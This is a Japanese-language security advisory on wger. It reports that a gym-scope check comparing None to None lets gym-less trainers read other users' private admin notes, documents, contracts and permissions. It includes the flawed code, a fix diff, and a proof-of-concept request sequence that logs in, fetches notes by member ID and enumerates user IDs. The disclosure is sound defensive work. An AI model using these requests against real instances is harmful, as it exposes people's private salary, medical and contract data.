wger: 異なるテナント間の管理者用メモ/契約書情報が、gym=None を利用した回避によって漏洩する(5件の閲覧数)
### 概要
wger のジム管理機能における5つのビューにおいて、不適切なジムのスコープ制限 (`gym_a != gym_b`) が適用されています。この制限は、両方のオペランドが `None` の場合に、問題なく通過してしまいます。`gym.gym_trainer` および `gym.add_adminusernote` の権限を持ち、かつジムへの割り当てがない (`gym=None`) トレーナーは、インスタンス上の**他の関連しないユーザー**の、非公開の管理者用メモ、アップロードされたドキュメント、ジム契約、ユーザー設定、およびユーザー権限データなどを閲覧できます。その後のクエリセットは、攻撃者が提供した `member_id` のみでフィルタリングされ、二次的なジムのスコープによる検証が行われないため、すべてのレコードが公開されます。
### 詳細
**ファイル**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`
少なくとも5つのビューで、同じ不適切な比較パターンが使用されています。
```python
# 脆弱性あり - admin_notes_list, documents_list, contracts_list,
# user_config, および gym_permissions_user_edit で適用
if request.user.userprofile.gym != user.userprofile.gym:
return HttpResponseForbidden()
# スコープ制限の後(管理者用メモの例):
notes = AdminUserNote.objects.filter(member=member) # フィルタリングは member_id のみ
```
`request.user.userprofile.gym` と `user.userprofile.gym` の両方が `None` の場合、Python は `None != None` を `False` と評価し、`HttpResponseForbidden` が実行されることはありません。その後のクエリセットは、攻撃者が提供した `member`(ユーザーID)のみをフィルタとして適用します。リクエスト元のトレーナーのジムとの関連付けを行う二次的なチェックは行われません。ターゲットユーザーのすべての非公開管理者用メモ、ドキュメント、および契約書が、レスポンスボディに返されます。
**影響を受けるエンドポイント:**
- `GET /en/gym/notes/list/user/<member_pk>` -> 管理者向けメモ一覧表示
- `GET /en/gym/documents/list/user/<member_pk>` -> ドキュメント一覧表示
- `GET /en/gym/contract/list/<member_pk>` -> 契約一覧表示
- `GET /en/gym/user/<member_pk>/config` -> ユーザー設定表示
- `GET /en/gym/user/<member_pk>/permissions` -> 権限編集表示
**推奨される修正:**
```diff
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
- if request.user.userprofile.gym != user.userprofile.gym:
- return HttpResponseForbidden()
+ trainer_gym_id = request.user.userprofile.gym_id
+ member_gym_id = user.userprofile.gym_id
+
+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+ return HttpResponseForbidden()
# クエリセットにも、ジムの範囲を限定する二次的なフィルタを追加:
- notes = AdminUserNote.objects.filter(member=member)
+ notes = AdminUserNote.objects.filter(
+ member=member,
+ member__userprofile__gym_id=request.user.userprofile.gym_id,
+ )
```
共通のヘルパー関数 `assert_same_gym(trainer, member)` を抽出し、影響を受けるすべての5つのビューで一貫して呼び出すことで、将来的な問題の発生を防ぎます。
### PoC (概念実証)
`wger/server:latest` のDockerイメージでテストを実施しました。テストユーザー: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` の権限、`userprofile.gym=None`) と `alice` (通常ユーザー、`userprofile.gym=None`、事前に作成されたプライベートな管理者向けメモを持つ)。
**ステップ1** - 必要な権限と `gym=None` でトレーナーとして認証:
```
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]
```
**ステップ2** - 別のユーザーのプライベートな管理者向けメモを読み取る:
```
GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
-> 200 OK
レスポンスボディには、ユーザー2のすべてのプライベートな管理者向けメモが含まれています:
"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
"PHASE4_SECRET_SALARY_100K"
```
**ステップ3** - 被害者の書類と契約書を閲覧します(同じパターン):
```
GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2
-> それぞれに対して200 OK。すべてのレコードが公開されている。
```
**ステップ4**(オプション)- すべての`gym=None`ユーザーに対して一括で情報を取得します:
```
ユーザーの主キー(PK)を1からNまで反復処理します:
GET /en/gym/notes/list/user/{uid}
-> 200 = `gym=None`の被害者(メモが漏洩している)
-> 403 = `gym`が割り当てられているユーザー(`gym`の値が異なる場合でも、チェックが正しく機能するかを確認)
```
**RBAC(ロールベースアクセス制御)の検証プロトコル**:
- シナリオA(管理者、`gym=1` -> メンバー `gym=1`)-> HTTP 200(期待される結果 - 同じ`gym`の閲覧は、仕様として記載されている機能)
- シナリオB(トレーナー1、`gym=None` -> アリス `gym=None`)-> **HTTP 200で個人情報を含むデータが返される**(期待されるのはHTTP 403)
- シナリオC(管理者、`gym=1` -> アリス `gym=None`)-> HTTP 403(期待される結果 - `gym`が異なる場合、保護機能が有効になる。これにより、バイパスが`None`に特有であることが確認される)
再現性:クリーンなベースラインデータベースへのリセット後、2回中2回で再現されました。
### 影響
`gym.gym_trainer`と`gym.add_adminusernote`の権限を持ち、かつ`userprofile.gym=None`である認証されたトレーナーは、以下のことが可能です:
1. 他のすべての`gym=None`ユーザーの、すべての非公開管理者メモを列挙し、閲覧する(メモには、給与データ、医療記録、懲戒記録などが含まれる可能性がある)。
2. そのユーザーに関連付けられている、アップロードされたすべてのドキュメントをダウンロードする(契約書、身分証明書のスキャン、医療フォームなど)。
3. すべてのジム契約書を閲覧する(財務条件、サブスクリプションの詳細など)。
4. ユーザーの設定の詳細を閲覧する。
5. 権限のエンドポイントを通じて、**被害者の権限を潜在的に変更する**(特権昇格の経路を作成する。このレポートでは完全に検証されていませんが、エンドポイントはアクセス可能です)。
**影響を受ける環境**: `gym.gym_trainer`と`gym.add_adminusernote`が管理者以外のユーザーに委譲され、かつ`gym=None`の状態のユーザーが存在する、すべてのwgerインスタンス。`gym=None`の状態は、手動でジムが割り当てられる前の、**新規登録ユーザーのデフォルト設定**であるため、すべてのパブリック登録wgerインスタンスが影響を受けます。
**深刻度**: 高 (CVSS 7.1)。ネットワーク経由でアクセス可能、複雑性は低い、必要な権限も低い(委任されたトレーナー)、影響範囲は変わらず(同じ管理者権限)、関連しないすべてのアカウントにおいて機密情報が大きく漏洩する可能性がある。データの完全性への影響は低い(権限編集ビューがアクセス可能)。
このバグは、`trainer_login` および `reset_user_password` に影響を与えている関連するバグと構造的に同じである(別途報告済み)。根本原因は、Django ORM オブジェクトの `!=` 演算が、両方の側が `None` の場合に `False` を返すという点であり、この問題を解決するために、5つのビューすべてに共通の `same_gym()` ヘルパー関数を適用する必要がある。
影響を受けるパッケージ:
- pip (Python) wger: 影響を受けるバージョン <= 2.1、修正は未実施。